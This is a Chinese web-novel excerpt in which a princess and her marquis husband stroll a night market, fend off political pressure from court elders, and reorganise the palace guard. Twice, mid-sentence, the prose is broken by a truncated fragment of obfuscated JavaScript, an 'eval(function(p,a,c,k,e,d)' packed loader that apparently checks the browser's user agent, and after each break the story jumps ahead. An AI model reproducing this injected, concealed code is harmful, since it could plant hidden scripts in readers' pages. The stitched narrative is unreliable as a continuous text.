于是他们继续往前走,穿过无人的小巷,走过寂静的石桥,来到城墙下。守城的士兵认得燕云徹,默默开了侧门,放他们登上城楼。 城楼很高,可以俯瞰整个洛安城。夜色中,万家灯火如繁星点点,护城河如一条银带,环绕着这座千年古城。 夜风吹来,带着春日的暖意。明仪的披风被吹起,燕云徹伸手为她拢紧。 “冷吗?” “不冷。”明仪望着远方,“这里真美。” 燕云徹从身后拥住她,下巴轻轻搁在她发顶:“是啊,真美。” 这是他们用生命守护的江山,是他们愿意为之付出一切的百姓。而此刻,在这江山之上,他们终于可以暂时放下所有重担,只做一对相爱的人。 “云徹,”明仪轻声唤他,“谢谢你。” “谢什么?” “谢谢你让我知道,人间烟火,是如此温暖。” 燕云徹收紧手臂,将她拥得更紧:“该说谢谢的是我。谢谢你让我知道,这人间,值得我守护。” 两人相拥而立,在城楼上站了很久很久。直到子时的更鼓响起,才依依不舍地离开。 回到侯府时,已是深夜。郑沉等在门口,见他们回来,松了口气:“侯爷,夫人,你们可算回来了。” “有事?”燕云徹问。 “宫里传来消息,陛下醒了。”郑沉压低声音,“太医说,陛下情绪不稳,一直喊着要见长公主。” 明仪与燕云徹对视一眼。该来的,终究还是来了。 “明日我进宫一趟。”明仪说。 “我陪你。”燕云徹握住她的手。 明仪摇头:“这次,让我单独面对他。有些话,该说清楚了。” 燕云徹看着她坚定的眼神,最终点头:“好。但让郑沉带人在宫外接应,若有变故,立刻发信号。” “嗯。” 这一夜,两人相拥而眠。窗外的月光温柔地洒进来,照亮一室安宁。 明日或许有风雨,但今夜,让他们暂且沉醉在这来之不易的平静里。 因为无论前路如何,他们都将携手同行。 人间烟火,江山如画。而这幅画里,终于有了他们共同的身影。 13. 第十三章 长街灯市 翌日清晨,宫中果然来了人。 来的是太妃身边的刘嬷嬷,太妃是先帝的妃嫔,论辈分是少帝的庶母,也是明仪名义上的长辈。刘嬷嬷带着两个宫女,送来太妃的赏赐......一对和田玉如意,说是给新婚夫妻的贺礼。 明仪接过礼单,心知肚明。太妃多年来深居简出,从不过问朝政,此时突然派人来,定是少帝授意,想借长辈之口施压。 果然,刘嬷嬷行礼后,恭敬道:“太妃让老奴带句话给长公主。陛下龙体欠安,朝中事务繁杂,太妃说……长公主既已成婚,当以相夫教子为重。朝政之事,自有陛下与大臣们操心。” 这话说得委婉,意思却很明白:你是嫁出去的女儿,该安分守己,别管朝堂上的事。 明仪端坐主位,神色平静:“太妃好意,本宫心领了。只是陛下如今需要静养,本宫身为长公主,又是陛下姑母,理应为陛下分忧。” 刘嬷嬷面露难色:“太妃也是关心公主。毕竟……公主新婚,总该多陪陪驸马。” “驸马深明大义,理解本宫的难处。”明仪说着,看向身旁的燕云徹。 燕云徹点头:“公主做什么,臣都支持。” 刘嬷嬷无话可说,只得告退。 她走后不久,又陆续来了几拨人......有宗室里的老王爷派人送贺礼,话里话外提醒明仪要守本分;有少帝乳母的家人,拐弯抹角地说陛下病中思念亲人,望长公主多去探望。 明仪一一应付,滴水不漏。送来的礼物照单全收,话却只听一半。该表态时表态,该装糊涂时装糊涂,分寸拿捏得恰到好处。 等到午后,终于没人再来打扰。 明仪靠在椅背上,轻叹一声:“这些人,平日里不见踪影,如今倒是一个个冒出来了。” 燕云徹走到她身后,双手轻轻按在她肩上:“累了?” “心累。”明仪闭上眼睛,感受他指尖恰到好处的力道,“这些人,不是真的关心我,也不是真的关心少帝。他们关心的,只是自己的利益。” “朝堂之上,本就如此。”燕云徹声音温和,“但你有我。无论谁来施压,我都会站在你这边。” 明仪睁开眼,回头看他,眼中带着笑意:“我知道。所以我不怕。” 她站起身,走到窗前。窗外春光正好,庭院里的桃花开得正艳,粉白的花瓣随风飘落,如雪似雨。 “今天天气这么好,不如……”她转头看他,眼中闪过狡黠的光,“我们晚上溜出去逛逛?” 燕云徹挑眉:“昨日不是刚逛过?” “昨日是昨日,今日是今日。”明仪走到他面前,拉住他的手,“再说了,昨日我们只逛了白天,还没看过洛安的夜市呢。听说夜市比白天更热闹,有各种杂耍,还有卖小吃的摊子……” 她眼中满是期待,像个想出去玩的孩子。 燕云徹看着她的模样,心头一软:“好。但得等天黑之后,人少些再去。” “嗯!”明仪眼睛亮了。 夜幕降临,华灯初上。 洛安城的夜市果然热闹非凡。从朱雀大街到永宁坊,整条街灯火通明,人流如织。各色摊位沿街摆开,卖小吃的、卖手工艺品的、卖胭脂水粉的、算卦看相的,应有尽有。 他们约定好,为了不惹人耳目,就在外扮演正常人家的大小姐和护卫。 明仪今日换了身寻常富家小姐的装扮,月白色襦裙,外罩淡青色比甲,发间只簪了一支白玉簪,素净又不失雅致。燕云徹则是一身玄色劲装,腰间系着革带,配着一柄普通的长剑,看上去像富家小姐的护卫。 两人并肩走在人群中,郑沉和两个侍卫远远跟在后面,保持着不近不远的距离。 “你看那个!”明仪指着前面一个摊位,眼睛发亮。 那是卖糖画的摊子。摊主是个中年汉子,手里拿着一把铜勺,舀起熬化的糖稀,在石板上飞快地勾勒。不多时,一只活灵活现的凤凰便出现在石板上。他用竹签一粘,递给旁边等着的小孩。 “想要什么图案?”摊主看到明仪,笑着问。 明仪想了想:“能画个并蒂莲吗?” “能!客官稍等。”摊主手法娴熟,铜勺在他手中如画笔般灵巧。糖稀在石板上流动、凝固,很快,两朵相依相偎的莲花便成型了。 燕云徹默默付了钱。明仪接过糖画,小心翼翼地舔了一口,甜丝丝的味道在口中化开。 “好吃吗?”燕云徹问。 “甜。”明仪将糖画举到他嘴边,“你尝尝。” 燕云徹低头,轻轻咬了一小口。他向来不喜甜食,但此刻却觉得这糖甜得恰到好处。 两人继续往前走。路过一个卖糖炒栗子的摊子,刚出锅的栗子散发着诱人的香气。明仪停下脚步,眼睛直勾勾地看着。 “老板,来一包。”燕云徹会意,对摊主说。 “好嘞!”摊主麻利地装了一纸包栗子,热气腾腾的。 明仪接过栗子,迫不及待地想剥一个,却被烫得轻呼一声,缩回手。 “我来。”燕云徹接过纸包,取出一颗栗子,用手指轻轻一捏,栗壳裂开,露出金黄的栗肉。他剥好一颗,递给明仪。 明仪接过来放进嘴里,栗肉香甜软糯,带着刚出锅的热气,好吃得她眯起眼。 “你也吃。”她说着,拿起一颗栗子想剥,却怎么也剥不开。 燕云徹接过她手里的栗子,一颗接一颗地剥。他的手指修长有力,剥栗子的动作却温柔细致。明仪就在旁边吃,时不时喂他一颗。 吃了半包,明仪注意到燕云徹的手指有些发红。她抓住他的手,仔细一看,指尖果然被烫红了。 “疼吗?”她皱眉。 “不碍事。”燕云徹想抽回手。 明仪却握紧了:“怎么不碍事?都红了。走,去买烫伤膏。” “真的不用……” “我说用就用。”明仪不容分说,拉着他就在人群里走。 燕云徹无奈,只得跟上。两人在一家药铺买了烫伤膏,明仪非要当场给他涂上。药铺伙计看着这对“主仆”,眼神古怪......哪有小姐给护卫涂药的? 涂好药,明仪才满意。两人继续逛夜市,经过一个卖首饰的摊子时,明仪被一对素银镯子吸引了目光。 那镯子样式简单,没什么繁复的雕花,只在镯身内侧刻了一圈细密的莲花纹,不仔细看发现不了。 “喜欢?”燕云徹问。 明仪拿起一只,对着灯光看了看:“这镯子朴素,但刻工精细。”她将镯子递给他,“你觉得好看吗?” 燕云徹接过镯子,认真看了看,点头:“好看。” 他其实不懂首饰,只觉得她戴什么都好看。 摊主是个四十来岁的妇人,见状笑道:“小娘子好眼光。这对镯子是老手艺了,戴着不张扬,细看又有韵味。”她又看向燕云徹,“你家郎君也识货呢。” 燕云徹耳根微微一红,没接话。 明仪却笑了,对摊主说:“他是我家护卫,不是我郎君。” 摊主一愣,随即会意:“哦哦,老身眼拙了。不过这护卫对小娘子倒是尽心。” 明仪付了钱,将镯子收好。两人离开摊位后,她低声对燕云徹说:“你刚才耳根红了。” “……没有。” “明明就有。”明仪眼中带着促狭的笑意。 燕云徹别过脸,不说话了。 夜市越往深处走越热闹。前面传来阵阵喝彩声,一群人围成圈,正在看杂耍表演。几个江湖艺人正在表演胸口碎大石、吞剑、喷火,引得观众阵阵惊呼。 明仪好奇,拉着燕云徹往人群里挤。人太多,挤来挤去,燕云徹怕她被撞到,不着痕迹地用身体圈出一小块空间,将她护在身前。 旁边一个提着菜篮的大婶见状,笑道:“小娘子好福气,你家郎君真疼人,怕你被人挤着。” 明仪回头笑道:“他不是我郎君,是我家护卫。” “护卫?”大婶上下打量燕云徹,“这护卫看着不一般,身手定是极好的。” 燕云徹垂眸,没说话,手却悄悄在明仪腰后收紧了些,将她护得更周全。 杂耍表演结束,艺人端着铜锣收赏钱。明仪让燕云徹给了些碎银,两人正要离开,忽然听见一个熟悉的声音: “表姐?” 明仪回头,只见一个身着鹅黄色襦裙的少女正站在不远处,惊讶地看着她。那少女十五六岁年纪,容貌秀丽,身边跟着两个丫鬟。 是永宁县主,明仪远房表姨的女儿。按辈分,该叫她一声表姐。 “清婉?”明仪也有些意外,“你怎么在这儿?” “我跟母亲出来逛逛。”永宁县主走过来,好奇地打量燕云徹,“这位是……” 她没见过燕云徹。虽然镇北侯大婚的事传得满城皆知,但永宁县主前些日子随母亲去城外寺庙祈福,昨日才回来,还没机会见这位新驸马。 明仪看了燕云徹一眼,眼中闪过狡黠的光,对永宁县主说:“这是我府上的护卫。” “护卫?”永宁县主眨眨眼,“可我看他气度不凡,还以为……”她掩嘴一笑,“还以为表姐新婚燕尔,带着驸马爷出来逛夜市呢。” 明仪挑眉,似笑非笑地看向燕云徹。 燕云徹低头行礼:“县主说笑了。” 他声音平静,耳根却又悄悄红了。殿下这样,指不定就是为了看他如何反应。 永宁县主没注意到这个细节,拉着明仪说话:“表姐,你大婚那日我没能来,真对不起。母亲说陛下病了,不便大肆操办,我们也不好去打扰……” “无妨。”明仪微笑,“你的心意我领了。” 两人说了会儿话,永宁县主见明仪似乎还有事,便识趣地告辞:“那我就不打扰表姐了。改日再去府上拜访。” “好。” 永宁县主带着丫鬟离开,走出一段距离后,还回头看了一眼,小声对丫鬟说:“表姐那个护卫,长得真俊。可惜只是个护卫……” 声音虽小,却恰好飘进燕云徹耳中。他面无表情,耳根的红却蔓延到了脖颈。 明仪忍着笑,等永宁县主走远了,才低声说:“听见没?人家夸你俊呢。” “……殿下莫要取笑臣。” “我说的是实话。”明仪看着他,“你本来就很俊。” 燕云徹别过脸,不看她。 明仪却不肯放过他,凑到他耳边,用只有两人能听见的声音说:“而且不只是俊,还……” 她顿了顿,声音更轻:“还很让人心动。” 燕云徹猛地转头看她,眼中有什么情绪翻涌。但他终究克制住了,只是握住她的手,收紧:“公主,该回去了。” “再逛一会儿嘛。”明仪不肯,“前面好像有卖花灯的,我们去看看。” 她拉着他往前走。燕云徹无奈,只得跟上。 花灯摊前围了不少人,各式各样的灯笼挂满了架子。有兔子灯、莲花灯、走马灯,还有做成宫殿、楼阁形状的精致宫灯。 明仪看中一盏六角宫灯,灯面是细纱所制,上面画着山水图案,点起来后,光影流转,如真山真水在灯中游走。 “这灯真巧。”她赞叹。 摊主是个白须老者,闻言笑道:“小娘子好眼光。这灯是老朽亲手所做,整个洛安城独此一盏。” 明仪正要让燕云徹付钱,忽然感觉腰间一轻。她低头,发现荷包不见了。 即便是他们装成寻常人家的大小姐和护卫,也还是看出和平民百姓的差别,又一次遇见了小偷。 “小偷!”她低呼。 燕云徹眼神一凛,瞬间锁定了人群中一个正往相反方向溜去的身影。他身形微动,正要追去,却想起此刻的身份. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“幸好你反应快。”她将荷包收好,想了想,从里面取出一只镯子,拉过燕云徹的手,套在他手腕上。 燕云徹一怔:“公主,这是……” “戴着。”明仪说,“这对镯子,你一只,我一只。”她抬起自己的手,腕上已经戴上了另一只,“这样,就算走散了,我也能凭这个找到你。” 燕云徹看着腕上的银镯,心头一暖。镯子有些小,戴在他手腕上略显秀气,但他却觉得这是世上最好看的首饰。 “谢公主。” “又叫我公主。”明仪嗔怪,“在外面要叫小姐。” “……是,小姐。” 两人相视一笑,继续逛夜市。 经过一个卖面具的摊子时,明仪又买了两个面具......这次是半脸的,只遮住眼睛周围。她给自己戴上一个白狐面具,给燕云徹戴上一个黑狼面具。 “这样就不会被人认出来了。”她满意地说。 戴上面具,两人终于可以更自在地牵手。燕云徹握紧她的手,在人群中穿行时,始终将她护在身侧。 夜市深处有个小广场,那里有江湖艺人在表演皮影戏。幕布上,小人儿在光影中舞动,演绎着才子佳人的故事。周围坐了不少人,有老人,有孩子,也有年轻情侣。 明仪拉着燕云徹找了个角落坐下。皮影戏正演到书生高中状元,回乡迎娶心上人。虽然故事老套,但艺人演得生动,配乐也悠扬,让人看得入神。 看到书生与小姐拜堂时,明仪忽然低声问:“我们那日拜堂,你紧张吗?” 燕云徹想了想:“紧张。但不是因为仪式,是怕少帝突然发难,伤到你。” “我也紧张。”明仪靠在他肩上,“怕这一切又是一场梦,怕拜完堂醒来,发现你还在北境,我还在宫里苦苦等待。” 燕云徹揽住她的肩:“不是梦。我们现在就在这里,看皮影戏,吃糖炒栗子,像这世上最寻常的夫妻一样。” 明仪笑了,将头靠在他肩上。 皮影戏演完,已是亥时三刻。夜市上的人渐渐少了,许多摊位开始收摊。 两人也该回去了。走出夜市,街道变得安静。月光洒在青石板路上,投下两人长长的影子。 走到侯府后门时,郑沉已经等在那里。 “侯爷,夫人,宫里又传来消息。”郑沉压低声音,“太妃明日要亲自来府上探望。” 明仪和燕云徹对视一眼。 太妃亲自来,这可不是寻常事。看来,少帝那边是铁了心要施压了。 “知道了。”明仪淡淡道,“明日按礼数准备便是。” “是。” 回到房中,明仪褪下披风,坐在镜前卸妆。燕云徹走到她身后,为她取下头上的发簪。 铜镜中映出两人的身影,一坐一站,如画般和谐。 “明日太妃来,定是要说朝政的事。”明仪说,“她虽是我的长辈,但这些年深居简出,从不过问朝事。如今突然出面,定是少帝求了她。” “你打算如何应对?”燕云徹问。 明仪看着镜中的自己,缓缓道:“太妃是个明事理的人。她若真为少帝好,就该知道,如今这局面,不是我能左右的。” 她转身,握住燕云徹的手:“少帝病了,朝中需要有人主事。我是长公主,监国理政,名正言顺。这一点,太妃应该明白。” 燕云徹点头:“我陪你见太妃。” “嗯。”明仪靠进他怀中,“有你在,我什么都不怕。” 窗外月色如水,室内烛火温暖。 这一夜,他们相拥而眠,不再谈论朝政,只享受这难得的宁静。 而明日,又将是一场不见硝烟的较量。 14. 第十四章 暗流交锋 次日清晨,太妃的仪仗果真到了镇北侯府门前。 太妃是先帝晚年纳的妃子,年纪比明仪大不了多少,但因着辈分,明仪不得不以礼相待。她身着素雅宫装,发髻梳得一丝不苟,由宫女搀扶着走下步辇。 明仪与燕云徹早已候在府门前,依礼相迎。 “见过太妃。”明仪微微欠身。 “长公主不必多礼。”太妃扶起她,目光在她脸上停留片刻,又转向燕云徹,“这位便是镇北侯?果然一表人才。” 燕云徹行礼:“臣燕云徹,见过太妃。” 太妃点点头,由明仪引着进入正厅。落座奉茶后,太妃放下茶盏,缓缓开口:“今日来,一是看望长公主,二是……有些话,不得不说。” 明仪神色平静:“太妃请讲。” “陛下龙体欠安,朝中人心浮动。”太妃叹了口气,“如今你以长公主之尊监国理政,本是权宜之计。但朝中有些老臣,对此颇有微词。” 她顿了顿,看向燕云徹:“尤其镇北侯……毕竟出身不高,如今又娶了长公主,难免引人议论。” 这话说得客气,意思却不客气——你燕云徹配不上长公主,也不该参与朝政。 燕云徹还未开口,明仪已先说道:“太妃此言差矣。镇北侯为国征战,立下赫赫战功,这是天下皆知的事。出身高低,岂能定一个人的品行与才能?” 太妃摇头:“公主,你年轻,不懂这朝堂的规矩。那些老臣最看重门第出身,你让他们听一个护卫出身的人调遣,他们如何能服?” “服不服,看的是能力,不是出身。”明仪淡淡道,“镇北侯能统率千军万马,守住北境三年,这份能耐,满朝文武有几人能及?” 太妃见说不动明仪,转而看向燕云徹:“侯爷以为呢?” 燕云徹抬眼,目光平静:“臣只知道,为臣者当尽忠报国。至于出身如何,非臣所能选择,亦非臣所该计较。” “可朝中会议论。”太妃加重语气,“议论长公主识人不明,议论镇北侯僭越。” “那就让他们议论。”明仪站起身,声音清冷,“本宫行事,问心无愧。若有人不满,大可当面对质。” 太妃见她态度坚决,知道再说无益,只得起身:“既如此,本宫话已带到。只盼公主行事谨慎,莫给人口实。” “谢太妃提醒。”明仪行礼送客。 太妃走后,明仪在厅中站了许久。 燕云徹走到她身边:“公主不必在意。” “我不在意。”明仪转身看他,“但他们会变本加厉。今日是太妃,明日就是那些老臣。” 她所料不差。 三日后朝会,果然有人发难。 发难的是礼部尚书王珩之父,已致仕的老臣王阁老。他由人搀扶着上殿,颤巍巍地跪下:“陛下病中,老臣本不该多言。但有些话,不得不说。” 明仪端坐帘后,声音平静:“王阁老请讲。” “长公主监国,本是权宜之计。”王阁老抬起头,“但镇北侯参与朝政,于礼不合。按制,外戚不得干政,更何况……” 他顿了顿,声音陡然提高:“更何况镇北侯出身低微,不过一个护卫,有何资格立于朝堂之上,与诸位大臣共议国事?” 这话一出,朝堂一片寂静。 帘后,明仪的手微微收紧。 这时,一个声音响起:“王阁老此言,臣不敢苟同。” 燕云徹从武将队列中走出,跪在殿中。他今日未穿朝服,只着一身玄色劲装,但身姿挺拔如松,气度不减半分。 “臣确实出身低微。”他声音平稳,“八年前,臣只是长公主府中一名暗卫。但王阁老可知,这八年来,臣为大蒙做了什么?” 他抬起眼,目光扫过殿中众臣:“天启十五年,北境蛮族犯边,臣随军出征,斩敌首十七级。天启十六年,突厥南下,臣率五百轻骑夜袭敌营,烧其粮草,迫其退兵。元和十八年,臣请命北上,三年时间,守北境,退突厥,斩首三万,俘其大将。” 他每说一句,便从怀中取出一物——一枚染血的突厥令牌,一道记功的圣旨副本,一卷北境地图,上面标注着大小战役的位置。 最后,他取出一块青铜令牌,高高举起:“这是镇北军帅令。三万将士,愿随臣出生入死。不是因为臣出身高贵,而是因为臣带他们打过胜仗,护他们性命,与他们同生共死。” 他将令牌放在地上,重重叩首:“臣不知出身高低如何定义一个人的价值。臣只知道,为国效力者,当得其位;为君分忧者,当尽其责。若诸位大臣认为,只因臣出身不高,便不配立于朝堂,不配为陛下分忧,那臣无话可说。” 他顿了顿,声音陡然转厉:“但若有人因此质疑长公主识人之明,质疑陛下用人之智,那臣,不得不辩!” 殿中鸦雀无声。 王阁老脸色青白,嘴唇哆嗦着,却说不出话来。 就在这时,帘后传来明仪的声音:“镇北侯所言,也是本宫所想。用人当重其才,而非其出身。此事不必再议。” 她顿了顿,补充道:“王阁老年事已高,今日又车马劳顿,来人,送王阁老回府休息。” 这是明晃晃的逐客令。 王阁老被人搀扶着退下,朝会继续。但明仪知道,这只是开始。 果然,接下来几日,刁难接踵而至。 先是手握兵权的康王——明仪的远房叔祖父,在朝会上拿出《大蒙律例》,指着其中“女子不得干政”的条款,逼明仪当众立誓:“长公主监国,已是破例。但需立誓,待陛下康复,即刻还政,不得恋权。” 明仪看着他手中的律例,心中冷笑。这律例是太祖时所定,百余年来早已名存实亡。康王此时拿出,分明是故意刁难。 她缓缓起身,走到殿中:“康王所言极是。本宫在此立誓:待陛下龙体康复,能亲理朝政之时,本宫即刻还政,绝不恋权。” 她顿了顿,目光扫过众臣:“但在此前,本宫既受陛下托付,自当尽心竭力。若有懈怠,天地不容。” 康王无话可说,只得退下。 接着是管礼部的老郡王,借着即将举行的春祭大典,处处挑刺。说长公主不懂祭祀礼仪,说镇北侯不够资格参与,说这不合规矩,那不符礼制。 明仪不与他争辩,只将祭祀事宜全权交给礼部:“既然郡王精通礼制,那春祭大典便由郡王主持。本宫与镇北侯,只依礼参与便是。” 老郡王推脱不得,只得接下这烫手山芋。祭祀大典若办得好,是分内之事;若办不好,便是失职。这招以退为进,让老郡王哑巴吃黄连。 朝堂上的明枪尚可应对,私下的暗箭却更难防备。 几日后,洛安城中开始流传谣言:说长公主与某位年轻官员过从甚密,说镇北侯不过是幌子,说…… 谣言传得有鼻子有眼,甚至有人“亲眼所见”,说长公主深夜召某官员入府,彻夜长谈。 这谣言传到明仪耳中时,她正在书房批阅奏折。 郑沉跪在地上,声音低沉:“散播谣言的,是康王世子。他近日常与一些年轻官员饮酒作乐,席间多有不当之言。” 明仪放下笔,揉了揉眉心:“他这是想逼我避嫌,少与朝臣接触。” “公主打算如何处置?”郑沉问。 明仪沉默片刻,忽然笑了:“他不是说我与官员过从甚密吗?那好,从明日起,每日午后, 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明仪端坐帘后,声音温和:“世子年轻,一时糊涂也是有的。康王回去好生教导便是。” 她顿了顿,补充道:“至于那些谣言……本宫相信,清者自清。” 康王连连称是,退下时脚步踉跄。 这场风波看似平息,但明仪知道,暗流仍在涌动。 这日晚间,她与燕云徹在书房对坐。烛火跳跃,映着两人疲惫的面容。 “这几日,辛苦你了。”燕云徹为她斟了杯茶。 明仪接过茶杯,苦笑:“朝堂争斗,比战场厮杀更累。战场上至少知道敌人在哪,朝堂上却处处是暗箭,防不胜防。” “但你都应付过来了。”燕云徹看着她,眼中带着赞赏,“今日康王请罪时,那些老臣的脸色,精彩得很。” 明仪摇头:“他们不会善罢甘休的。今日是康王世子,明日可能又是别人。” 她放下茶杯,正色道:“云徹,我需要你做一件事。” “公主请讲。” “整顿禁军。”明仪一字一顿,“如今的禁军统领是康王的人,虽然表面恭敬,但难保不起二心。我要你接手禁军,将它牢牢握在手中。” 燕云徹眉头微皱:“这恐怕会引起更大反弹。” “我知道。”明仪站起身,走到窗前,“但这是必须走的一步。少帝‘病’着,朝中人心不稳。若没有足够的武力在手,我们随时可能被人掀翻。” 她转身看他,眼中是前所未有的坚定:“我要你做的,不只是接手禁军,还要将它打造成只听你我号令的铁军。就像你在北境带出的镇北军一样。” 燕云徹沉默良久,终于点头:“臣遵命。” “此事要快,也要隐秘。”明仪走回桌边,取出一份名单,“这是禁军中值得拉拢的将领名单。郑沉已经摸清了他们的底细,你可以从这些人入手。” 燕云徹接过名单,快速浏览。名单上有十几个人名,后面详细标注着他们的出身、履历、性格特点,甚至家人情况。 “公主准备得很周全。”他收起名单。 “事关生死,不得不周全。”明仪轻叹一声,靠进他怀中,“云徹,这条路很难走。但我相信,只要我们携手,没有过不去的坎。” 燕云徹拥住她,在她发顶落下一吻:“臣会一直陪着你。无论前路如何,臣都在。” 窗外月色如水,室内烛火温暖。 朝堂的风雨还在继续,但此刻,让他们暂且享受这难得的宁静。 无论怎样,他们都胸有成竹。 15. 第十五章 军营磨刃 清晨的校场,晨雾尚未散尽,肃杀之气已弥漫开来。 明仪一袭月白劲装,青丝高束,站在校场点将台旁,看着下方正在操练的三千禁军精锐。这是燕云徹接手禁军后,从各部抽调、重新整编的第一批人马。 校场中央,燕云徹未着甲胄,只一身玄色训练服,手持长枪,正亲自示范枪法。枪在他手中如游龙出海,破空之声猎猎作响,每一刺、每一扫都精准有力,带着沙场淬炼出的杀伐之气。 “枪为百兵之王。”他收势,声音清朗地传入每个士兵耳中,“不在于花哨招式,而在于三点——快、准、狠。” 他再次出枪,这一次动作放慢,让所有人看清发力技巧:“肩、肘、腕三处发力需贯通如一线。刺出时如离弦之箭,收回时如毒蛇归穴。” 士兵们认真观摩,有几个年轻校尉已忍不住跟着比划。 燕云徹目光扫过全场:“今日起,每人每日刺枪五百次。十日后,我要看到你们的枪能刺破三层牛皮。” “是!”三千人齐声应答,声震云霄。 明仪在台下看着,眼中闪过复杂神色。她见过他在宫宴上应对世家子弟的从容,见过他在朝堂上驳斥老臣的凛然,但此刻,在校场上,这个男人才真正展现出了属于将军的本色——那是历经生死、统帅千军后沉淀出的威严与气度。 一个时辰后,操练暂歇。燕云徹朝点将台走来,额上带着薄汗。 “公主怎么来了?”他接过亲兵递上的布巾,随意擦了擦。 “来看看你练兵。”明仪递过水囊,“也来……学点东西。” 燕云徹动作一顿:“学什么?” “防身之术。”明仪坦然道,“如今局势,我虽在深宫侯府,却也难保不会遇到危险。总不能每次都等你来救。” 她说得平静,燕云徹却心头一紧。他想起大婚那日的刺客,想起宫道上那些杀手,想起朝堂上那些虎视眈眈的眼睛。 “好。”他放下水囊,“公主想学什么?” “先学用匕首。”明仪从袖中取出一柄短匕。匕身仅七寸,精钢锻造,刀柄缠着防滑的皮革,是她今早特意让郑沉找来的。“短兵易藏,适合女子。” 燕云徹接过匕首,在手中掂了掂:“这是北境军中制式匕首,虽短小,但足够锋利。”他看向明仪,“公主可知,用匕首最重要的是什么?” “快?” “不,是近。”燕云徹走近一步,两人距离骤然拉近,“匕首不比长兵器,需贴身近战。所以第一要义,是敢于靠近敌人。” 他将匕首交还给她,站在她身后,右手握住她持匕的手:“我带你练几个基本动作。” 他的手掌宽大温热,完全包裹住她的手。明仪能感受到他掌心的茧子,也能闻到他身上淡淡的汗味,混着皂角的清香。 “第一式,直刺。”他引导她的手臂向前送出,“目标通常是咽喉、心口。记住,出手就要致命,不给对方反击机会。” 明仪跟着他的力道,匕首刺出。动作有些生涩,但方向准确。 “第二式,上挑。”燕云徹带着她的手腕向上划出弧线,“若敌人持长兵器,需近身后用此式攻其手腕、腋下。” 一连教了七八个基础动作,燕云徹才松开手:“公主自己试试。” 明仪依样练习。起初动作僵硬,但几遍后渐渐流畅。她本就聪慧,又常年习练宫中礼仪,对身体的控制力远超常人。 燕云徹在一旁看着,眼中露出赞许之色。他见过太多人初学兵器时的笨拙,但明仪不同——她的每个动作都干净利落,没有多余的花哨。 “公主天赋很好。”他直言。 明仪收势,微微喘息:“是你教得好。”她顿了顿,看着他,“这些动作,你在战场上用过吗?” “用过。”燕云徹的目光落在匕首上,“天启十六年,在阴山隘口,我的长枪折断,就是用匕首杀了三个突厥骑兵。” 他说得平淡,明仪却心头一颤。她难以想象那是怎样的场景——断枪残甲,血战到底。 “疼吗?”她轻声问。 燕云徹知道她问的不是伤口,而是那种生死一线的感受。他沉默片刻,缓缓道:“不记得了。战场上,没时间感受疼痛,只有杀敌,或者被杀。” 明仪握紧匕首,指节泛白。 这时,校场那头传来一阵喧哗。几个士兵似乎起了争执,推搡间有人倒地。 燕云徹眉头一皱,正要过去,明仪却拦住他:“我去。” 她收起匕首,走下点将台。燕云徹跟在她身后三步处,保持着护卫的距离。 争执的是两个年轻校尉,一个叫陈平,一个叫李勇,都是禁军中的刺头,原属不同派系,如今被编在同一队,谁也不服谁。 “怎么回事?”明仪走到两人面前,声音平静。 陈平先行礼:“回公主,李勇说我练枪不用力,是敷衍了事。” 李勇不甘示弱:“他本来就没用力!侯爷说要刺破三层牛皮,他那样软绵绵的,一层都刺不破!” 明仪看向陈平:“他说得可对?” 陈平脸色涨红:“末将……末将今日手臂有旧伤,使不上力。” “既知有伤,为何不说?”明仪问,“强撑着练,练不好不说,还会加重伤势。明日若真上了战场,你这伤臂,是杀敌还是拖累同袍?” 陈平低头不语。 明仪转向李勇:“你看出他不用力,这是眼力好。但当面指责,引人争执,扰乱操练,这是莽撞。若真是为他好,该私下提醒,或禀报上官。” 李勇也低下头:“末将知错。” “知错便好。”明仪语气缓和,“既在同一队,便是生死同袍。战场上,你的后背要交给同袍守护。若彼此不信任,不团结,便是自寻死路。” 她看向周围围观的士兵:“这话,对你们所有人都适用。侯爷重整禁军,不是让你们来争强斗胜的,是要打造一支真正的铁军。铁军不是靠个人勇武,而是靠军纪、信任、团结。” 士兵们肃然聆听。 “今日之事,到此为止。”明仪最后道,“陈平去医官处看伤,伤好前不必参加重训。李勇罚清扫校场三日。可有不服?” “末将遵命!”两人齐声道。 处理完争执,明仪走回点将台。燕云徹跟在她身后,眼中带着笑意:“公主方才,很有将军风范。” 明仪侧头看他:“跟你学的。” “臣可没教过公主如何处理军务。” “但你看过你如何处理。”明仪道,“军中最重纪律,也最重情理。严而不苛,威而不暴,这是你带兵的原则。” 燕云徹心头微动。她观察得如此细致。 回到点将台,明仪重新拿起匕首:“继续教我吧。” 这次燕云徹教得更认真。他不仅教动作,还教如何判断敌人的意图,如何利用环境,如何在劣势下反击。这些都是他在战场上用血换来的经验。 “若被从背后抱住,不要挣扎。”他站到她身后,作势环住她的腰,“挣扎只会消耗体力。要这样做——” 他握住她的手,引导匕首向后上方刺去:“对准抱你之人的面门、咽喉。人体这些位置最脆弱,一击便能脱身。” 明仪跟着他的动作练习,忽然问:“若对方是你这样身手的,我这样刺,有用吗?” 燕云徹一怔,随即笑了:“有用。再厉害的人,要害被刺中也会受伤。只是动作要更快,更准。” 他放开她,退后一步:“公主试试。” 明仪转身,匕首刺出。这一次她用了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“公主从来不是臣的软肋。”他握住她的手,“公主是臣的盔甲,是臣的底气。” 明仪眼眶微热,却笑了:“那你这身盔甲,可得把自己护好了。你若倒了,我怎么办?” “臣不会倒。”燕云徹将她拥入怀中,“为了公主,臣也不能倒。” 营房外,士兵们的操练声再次响起。号角嘹亮,战鼓咚咚,那是力量与秩序的声音。 而在这简朴的营房里,两人静静相拥。没有朝堂的钩心斗角,没有宫廷的繁文缛节,只有最朴素的信任与依靠。 许久,明仪轻声说:“我该回去了。下午还要接见官员。” “臣送公主。” “不用。”明仪摇头,“你继续练兵。郑沉在外面等我。” 